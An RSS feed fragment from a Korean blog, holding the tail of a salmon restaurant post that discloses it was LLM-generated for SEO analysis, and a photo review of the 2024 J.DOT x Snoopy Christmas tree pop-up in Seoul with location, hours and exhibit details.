&lt;figure id=&quot;og_1732709858108&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;연하동 대학로점 - 대학로 연어, 대왕연어초밥 맛집 | 다이닝코드, 빅데이터 맛집검색&quot; data-og-description=&quot;맛4.7, 가격3.9, 친절4.4 꼬꼬동이랑 연어국수 중에 어떤거 먹을지 고민하다가 연어국수 시켰는데 비주얼만큼 맛있었어요! 대왕초밥도 기대보다 훨씬 맛있어서&quot; data-og-host=&quot;www.diningcode.com&quot; data-og-source-url=&quot;https://www.diningcode.com/profile.php?rid=Yj1vS6EZVBVB&quot; data-og-url=&quot;https://www.diningcode.com/profile.php?rid=Yj1vS6EZVBVB&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/cMxtUh/hyXDmdAcQt/2Zc5XjoHnIc8O0PN2sFf6K/img.jpg?width=750&amp;amp;height=750&amp;amp;face=0_0_750_750,https://scrap.kakaocdn.net/dn/JakmJ/hyXGHf435U/HZISehfTgwZBQqZdiJwC1K/img.jpg?width=750&amp;amp;height=750&amp;amp;face=0_0_750_750,https://scrap.kakaocdn.net/dn/SIEd5/hyXGNtPMFa/KK7TRqxh1MJuRtPQVSuIV0/img.jpg?width=750&amp;amp;height=750&amp;amp;face=0_0_750_750&quot;&gt;&lt;a href=&quot;https://www.diningcode.com/profile.php?rid=Yj1vS6EZVBVB&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://www.diningcode.com/profile.php?rid=Yj1vS6EZVBVB&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/cMxtUh/hyXDmdAcQt/2Zc5XjoHnIc8O0PN2sFf6K/img.jpg?width=750&amp;amp;height=750&amp;amp;face=0_0_750_750,https://scrap.kakaocdn.net/dn/JakmJ/hyXGHf435U/HZISehfTgwZBQqZdiJwC1K/img.jpg?width=750&amp;amp;height=750&amp;amp;face=0_0_750_750,https://scrap.kakaocdn.net/dn/SIEd5/hyXGNtPMFa/KK7TRqxh1MJuRtPQVSuIV0/img.jpg?width=750&amp;amp;height=750&amp;amp;face=0_0_750_750');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;연하동 대학로점 - 대학로 연어, 대왕연어초밥 맛집 | 다이닝코드, 빅데이터 맛집검색&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;맛4.7, 가격3.9, 친절4.4 꼬꼬동이랑 연어국수 중에 어떤거 먹을지 고민하다가 연어국수 시켰는데 비주얼만큼 맛있었어요! 대왕초밥도 기대보다 훨씬 맛있어서&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;www.diningcode.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;  &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;DISCLAIMER&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 글은 LLM(Large Language Model)을 통해 생성된 글이며, Google 검색 최적화(SEO-Optimization) 분석 및 동향 파악을 목적으로 작성되었습니다. 어떠한 지원도 받지 않은 내돈내산 후기입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://developers.google.com/search/docs/fundamentals/seo-starter-guide?hl=ko&quot;&gt;https://developers.google.com/search/docs/fundamentals/seo-starter-guide?hl=ko&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Review/  Food</category>
      <category>맛집</category>
      <category>연하동</category>
      <category>혜화 연어</category>
      <category>혜화 연하동</category>
      <category>혜화데이트</category>
      <category>혜화맛집</category>
      <author>땅콩킹땅콩</author>
      <guid isPermaLink="true">https://gomguk.tistory.com/292</guid>
      <comments>https://gomguk.tistory.com/292#entry292comment</comments>
      <pubDate>Fri, 29 Nov 2024 23:30:33 +0900</pubDate>
    </item>
    <item>
      <title>2024 제이닷X스누피 트리 팝업 후기</title>
      <link>https://gomguk.tistory.com/291</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;들어가며&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;바쁜 일상 속에서 잠시나마 동심으로 돌아가고 싶으신가요? 제이닷 트리 팝업 스토어는 스누피와 함께하는 특별한 경험을 제공합니다. 이번 2024년, 제이닷과 피너츠의 콜라보레이션으로 탄생한 이 팝업은 크리스마스 시즌을 맞아 더욱 특별한 테마와 포토존으로 꾸며졌습니다. 이 글에서는 제이닷 트리 팝업의 위치, 운영 시간, 포토존 8곳, 전시 내용, 예약 방법 등 모든 정보를 한눈에 확인할 수 있도록 정리했습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;제이닷 트리 팝업 스토어란?&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;제이닷 트리 팝업은 제이닷과 피너츠의 대표 캐릭터 스누피가 함께하는 크리스마스 테마의 팝업 스토어입니다. 이곳은 단순히 사진을 찍는 공간을 넘어, 방문객들에게 따뜻한 메시지와 추억을 선사하는 특별한 장소로 기획되었습니다. &quot;완벽하지 않아도 괜찮아&quot;라는 주제를 중심으로, 다양한 포토존과 전시가 마련되어 있어 가족, 연인, 친구와 함께 방문하기에 최적의 장소입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;제이닷 트리 팝업 스토어 위치와 운영 시간&lt;/b&gt;&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;위치&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;주소&lt;/b&gt;: 서울특별시 종로구 사직로2길 12&lt;/li&gt;
&lt;li&gt;&lt;b&gt;주차&lt;/b&gt;: 팝업 스토어 바로 앞에 공영주차장이 위치해 있어 차량 이용이 편리합니다. 단, 주차 공간이 제한적이므로 만차 상황을 대비해 대중교통 이용도 고려해보세요.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;iframe mapdata=&quot;addr=%EC%84%9C%EC%9A%B8%20%EC%A2%85%EB%A1%9C%EA%B5%AC%20%ED%96%89%EC%B4%8C%EB%8F%99%201-44&amp;amp;addtype=1&amp;amp;confirmid=1385811819&amp;amp;docid=&amp;amp;idx=1&amp;amp;ifrH=362px&amp;amp;ifrW=490px&amp;amp;mapHeight=362&amp;amp;mapInfo=%7B%22version%22%3A2%2C%22mapWidth%22%3A490%2C%22mapHeight%22%3A362%2C%22mapCenterX%22%3A492075%2C%22mapCenterY%22%3A1131478%2C%22mapLevel%22%3A4%2C%22coordinate%22%3A%22wcongnamul%22%2C%22markInfo%22%3A%5B%7B%22markerType%22%3A%22standPlace%22%2C%22coordinate%22%3A%22wcongnamul%22%2C%22x%22%3A492075%2C%22y%22%3A1131480%2C%22clickable%22%3Atrue%2C%22draggable%22%3Atrue%2C%22icon%22%3A%7B%22width%22%3A35%2C%22height%22%3A56%2C%22offsetX%22%3A17%2C%22offsetY%22%3A56%2C%22src%22%3A%22%26%23x2F%3B%26%23x2F%3Bt1.daumcdn.net%26%23x2F%3Blocalimg%26%23x2F%3Blocalimages%26%23x2F%3B07%26%23x2F%3B2012%26%23x2F%3Battach%26%23x2F%3Bpc_img%26%23x2F%3Bico_marker2_150331.png%22%7D%2C%22content%22%3A%22%ED%94%BC%EB%84%88%EC%B8%A0%EC%A0%9C%EC%9D%B4%EB%8B%B7%ED%8A%B8%EB%A6%AC%20%EC%8A%A4%EB%85%B8%EC%9D%B4%EB%B9%8C%EB%A6%AC%EC%A7%80%22%2C%22confirmid%22%3A1385811819%7D%5D%2C%22graphicInfo%22%3A%5B%5D%2C%22roadviewInfo%22%3A%5B%5D%7D&amp;amp;mapWidth=490&amp;amp;mapX=492075&amp;amp;mapY=1131478&amp;amp;map_hybrid=false&amp;amp;map_level=4&amp;amp;map_type=TYPE_MAP&amp;amp;rcode=1111058000&amp;amp;tel=&amp;amp;title=%ED%94%BC%EB%84%88%EC%B8%A0%EC%A0%9C%EC%9D%B4%EB%8B%B7%ED%8A%B8%EB%A6%AC%20%EC%8A%A4%EB%85%B8%EC%9D%B4%EB%B9%8C%EB%A6%AC%EC%A7%80&quot; src=&quot;/proxy/plusmapViewer.php?id=maps_1732708348485&quot; id=&quot;maps_1732708348485&quot; width=&quot;540px&quot; height=&quot;350px&quot; frameborder=&quot;0&quot; scrolling=&quot;no&quot; data-ke-type=&quot;map&quot; data-maps-data=&quot;addr=%EC%84%9C%EC%9A%B8%20%EC%A2%85%EB%A1%9C%EA%B5%AC%20%ED%96%89%EC%B4%8C%EB%8F%99%201-44&amp;amp;addtype=1&amp;amp;confirmid=1385811819&amp;amp;docid=&amp;amp;idx=1&amp;amp;ifrH=362px&amp;amp;ifrW=490px&amp;amp;mapHeight=362&amp;amp;mapInfo=%7B%22version%22%3A2%2C%22mapWidth%22%3A490%2C%22mapHeight%22%3A362%2C%22mapCenterX%22%3A492075%2C%22mapCenterY%22%3A1131478%2C%22mapLevel%22%3A4%2C%22coordinate%22%3A%22wcongnamul%22%2C%22markInfo%22%3A%5B%7B%22markerType%22%3A%22standPlace%22%2C%22coordinate%22%3A%22wcongnamul%22%2C%22x%22%3A492075%2C%22y%22%3A1131480%2C%22clickable%22%3Atrue%2C%22draggable%22%3Atrue%2C%22icon%22%3A%7B%22width%22%3A35%2C%22height%22%3A56%2C%22offsetX%22%3A17%2C%22offsetY%22%3A56%2C%22src%22%3A%22%26%23x2F%3B%26%23x2F%3Bt1.daumcdn.net%26%23x2F%3Blocalimg%26%23x2F%3Blocalimages%26%23x2F%3B07%26%23x2F%3B2012%26%23x2F%3Battach%26%23x2F%3Bpc_img%26%23x2F%3Bico_marker2_150331.png%22%7D%2C%22content%22%3A%22%ED%94%BC%EB%84%88%EC%B8%A0%EC%A0%9C%EC%9D%B4%EB%8B%B7%ED%8A%B8%EB%A6%AC%20%EC%8A%A4%EB%85%B8%EC%9D%B4%EB%B9%8C%EB%A6%AC%EC%A7%80%22%2C%22confirmid%22%3A1385811819%7D%5D%2C%22graphicInfo%22%3A%5B%5D%2C%22roadviewInfo%22%3A%5B%5D%7D&amp;amp;mapWidth=490&amp;amp;mapX=492075&amp;amp;mapY=1131478&amp;amp;map_hybrid=false&amp;amp;map_level=4&amp;amp;map_type=TYPE_MAP&amp;amp;rcode=1111058000&amp;amp;tel=&amp;amp;title=%ED%94%BC%EB%84%88%EC%B8%A0%EC%A0%9C%EC%9D%B4%EB%8B%B7%ED%8A%B8%EB%A6%AC%20%EC%8A%A4%EB%85%B8%EC%9D%B4%EB%B9%8C%EB%A6%AC%EC%A7%80&quot; data-maps-thumbnail=&quot;https://ssl.daumcdn.net/map3/staticmap/image?center=492075%2C1131478&amp;amp;lv=4&amp;amp;size=540x350&amp;amp;srs=WCONGNAMUL&amp;amp;markers=symbol%3Asc_marker%7Clocation%3A492075%2C1131480&quot;&gt;&lt;/iframe&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;운영 시간&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;운영 시간&lt;/b&gt;: 오후 2시부터 저녁 9시까지&lt;/li&gt;
&lt;li&gt;&lt;b&gt;휴무일&lt;/b&gt;: 별도 공지 없음 (방문 전 확인 권장)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;대중교통&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;지하철&lt;/b&gt;: 3호선 독립문역에서 도보 약 10분 거리&lt;/li&gt;
&lt;li&gt;&lt;b&gt;버스&lt;/b&gt;: 사직공원 정류장에서 하차 후 도보 이동&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;제이닷X스누피 포토존&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;입구 및 내부&lt;/b&gt;&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;60233726-3E5B-4489-BCAC-FC9BE8B37E57_4_5005_c.jpeg&quot; data-origin-width=&quot;360&quot; data-origin-height=&quot;480&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cVJsp3/btsKYAPSjG9/PaXhuNYwIpYtKKJi0zyr50/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cVJsp3/btsKYAPSjG9/PaXhuNYwIpYtKKJi0zyr50/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cVJsp3/btsKYAPSjG9/PaXhuNYwIpYtKKJi0zyr50/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcVJsp3%2FbtsKYAPSjG9%2FPaXhuNYwIpYtKKJi0zyr50%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;360&quot; height=&quot;480&quot; data-filename=&quot;60233726-3E5B-4489-BCAC-FC9BE8B37E57_4_5005_c.jpeg&quot; data-origin-width=&quot;360&quot; data-origin-height=&quot;480&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/baUsJP/btsKZKRypK3/wahr4VTxPXKlk3BosEKU5K/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/baUsJP/btsKZKRypK3/wahr4VTxPXKlk3BosEKU5K/img.jpg&quot; data-origin-width=&quot;4284&quot; data-origin-height=&quot;5712&quot; data-is-animation=&quot;false&quot; data-filename=&quot;IMG_3761.jpeg&quot; width=&quot;527&quot; height=&quot;703&quot; style=&quot;width: 49.4186%; margin-right: 10px;&quot; data-widthpercent=&quot;50&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/baUsJP/btsKZKRypK3/wahr4VTxPXKlk3BosEKU5K/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbaUsJP%2FbtsKZKRypK3%2Fwahr4VTxPXKlk3BosEKU5K%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;4284&quot; height=&quot;5712&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dR5hBY/btsKZM9DJ6J/KU0f9kpcBKSs9SWaGnN3T1/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dR5hBY/btsKZM9DJ6J/KU0f9kpcBKSs9SWaGnN3T1/img.jpg&quot; data-is-animation=&quot;false&quot; data-origin-width=&quot;1536&quot; data-origin-height=&quot;2048&quot; data-filename=&quot;16A37797-E6BB-441D-8E03-FC091F63C154_1_102_o.jpeg&quot; width=&quot;384&quot; height=&quot;512&quot; style=&quot;width: 49.4186%;&quot; data-widthpercent=&quot;50&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dR5hBY/btsKZM9DJ6J/KU0f9kpcBKSs9SWaGnN3T1/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdR5hBY%2FbtsKZM9DJ6J%2FKU0f9kpcBKSs9SWaGnN3T1%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1536&quot; height=&quot;2048&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
  &lt;figcaption&gt;부스 입구&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/4xX21/btsKY1mbzfk/z2EoqC5KJan8dl9z4tUHUk/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/4xX21/btsKY1mbzfk/z2EoqC5KJan8dl9z4tUHUk/img.jpg&quot; data-is-animation=&quot;false&quot; data-origin-width=&quot;360&quot; data-origin-height=&quot;480&quot; data-filename=&quot;900648AE-B2F9-408B-900C-0A090A0C19DB_4_5005_c.jpeg&quot; style=&quot;width: 56.4841%; margin-right: 10px;&quot; data-widthpercent=&quot;57.15&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/4xX21/btsKY1mbzfk/z2EoqC5KJan8dl9z4tUHUk/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F4xX21%2FbtsKY1mbzfk%2Fz2EoqC5KJan8dl9z4tUHUk%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;360&quot; height=&quot;480&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/0UGu7/btsKYDMEojj/j5Ko9XyTfAMzqn5ldnZDP1/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/0UGu7/btsKYDMEojj/j5Ko9XyTfAMzqn5ldnZDP1/img.jpg&quot; data-origin-width=&quot;1330&quot; data-origin-height=&quot;2365&quot; data-is-animation=&quot;false&quot; width=&quot;500&quot; height=&quot;889&quot; data-widthpercent=&quot;42.85&quot; style=&quot;width: 42.3531%;&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/0UGu7/btsKYDMEojj/j5Ko9XyTfAMzqn5ldnZDP1/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F0UGu7%2FbtsKYDMEojj%2Fj5Ko9XyTfAMzqn5ldnZDP1%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1330&quot; height=&quot;2365&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;외부&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;낮 시간대라 트리가 빛을 발하진 않았지만 그래도 사진찍기 좋은 곳들이 많았다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/CoGWf/btsKX53XesV/W6f6TLKt46U3InrzmuLUJ1/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/CoGWf/btsKX53XesV/W6f6TLKt46U3InrzmuLUJ1/img.jpg&quot; data-is-animation=&quot;false&quot; data-origin-width=&quot;360&quot; data-origin-height=&quot;480&quot; data-filename=&quot;8A4A3A0C-FDEE-4910-81C0-30A318C142E5_4_5005_c.jpeg&quot; style=&quot;width: 32.5581%; margin-right: 10px;&quot; data-widthpercent=&quot;33.33&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/CoGWf/btsKX53XesV/W6f6TLKt46U3InrzmuLUJ1/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FCoGWf%2FbtsKX53XesV%2FW6f6TLKt46U3InrzmuLUJ1%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;360&quot; height=&quot;480&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ME0fr/btsKXHoKzct/eM4jYwpR2iy6DV4tMxKU00/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ME0fr/btsKXHoKzct/eM4jYwpR2iy6DV4tMxKU00/img.jpg&quot; data-origin-width=&quot;4284&quot; data-origin-height=&quot;5712&quot; data-is-animation=&quot;false&quot; data-filename=&quot;IMG_3716.jpeg&quot; style=&quot;width: 32.5581%; margin-right: 10px;&quot; data-widthpercent=&quot;33.33&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ME0fr/btsKXHoKzct/eM4jYwpR2iy6DV4tMxKU00/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FME0fr%2FbtsKXHoKzct%2FeM4jYwpR2iy6DV4tMxKU00%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;4284&quot; height=&quot;5712&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/xosfj/btsKZweUQu9/QcixgSKqUq2vmEMF4OfTp0/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/xosfj/btsKZweUQu9/QcixgSKqUq2vmEMF4OfTp0/img.jpg&quot; data-is-animation=&quot;false&quot; data-origin-width=&quot;360&quot; data-origin-height=&quot;480&quot; data-filename=&quot;7396F17F-4368-465B-9CAF-D01E68E68DE5_4_5005_c.jpeg&quot; style=&quot;width: 32.5581%;&quot; data-widthpercent=&quot;33.34&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/xosfj/btsKZweUQu9/QcixgSKqUq2vmEMF4OfTp0/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fxosfj%2FbtsKZweUQu9%2FQcixgSKqUq2vmEMF4OfTp0%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;360&quot; height=&quot;480&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bF6sVK/btsKZbISvlr/czculpwH0EQMsgq2mzjaH0/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bF6sVK/btsKZbISvlr/czculpwH0EQMsgq2mzjaH0/img.jpg&quot; data-origin-width=&quot;1536&quot; data-origin-height=&quot;2048&quot; data-is-animation=&quot;false&quot; data-filename=&quot;497353DE-C54A-4E4A-B06F-92EE8CF7071E_1_102_o.jpeg&quot; style=&quot;width: 49.4186%; margin-right: 10px;&quot; data-widthpercent=&quot;50&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bF6sVK/btsKZbISvlr/czculpwH0EQMsgq2mzjaH0/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbF6sVK%2FbtsKZbISvlr%2FczculpwH0EQMsgq2mzjaH0%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1536&quot; height=&quot;2048&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lBSTW/btsKYi20YtT/ZQqvKqnQ0OzrGjXkG9JHjK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lBSTW/btsKYi20YtT/ZQqvKqnQ0OzrGjXkG9JHjK/img.jpg&quot; data-origin-width=&quot;4284&quot; data-origin-height=&quot;5712&quot; data-is-animation=&quot;false&quot; data-filename=&quot;IMG_3758.jpeg&quot; style=&quot;width: 49.4186%;&quot; data-widthpercent=&quot;50&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lBSTW/btsKYi20YtT/ZQqvKqnQ0OzrGjXkG9JHjK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlBSTW%2FbtsKYi20YtT%2FZQqvKqnQ0OzrGjXkG9JHjK%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;4284&quot; height=&quot;5712&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;전시 내용&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;팝업 스토어 내부에는 스누피와 관련된 다양한 전시물이 마련되어 있습니다. 특히, 5m 높이의 대형 트리와 20여 개의 작은 트리들이 조화를 이루며 크리스마스 분위기를 한껏 살리고 있습니다. 또한, 스누피와 친구들의 다양한 굿즈도 전시 및 판매되고 있어 팬들에게는 더할 나위 없는 기회입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
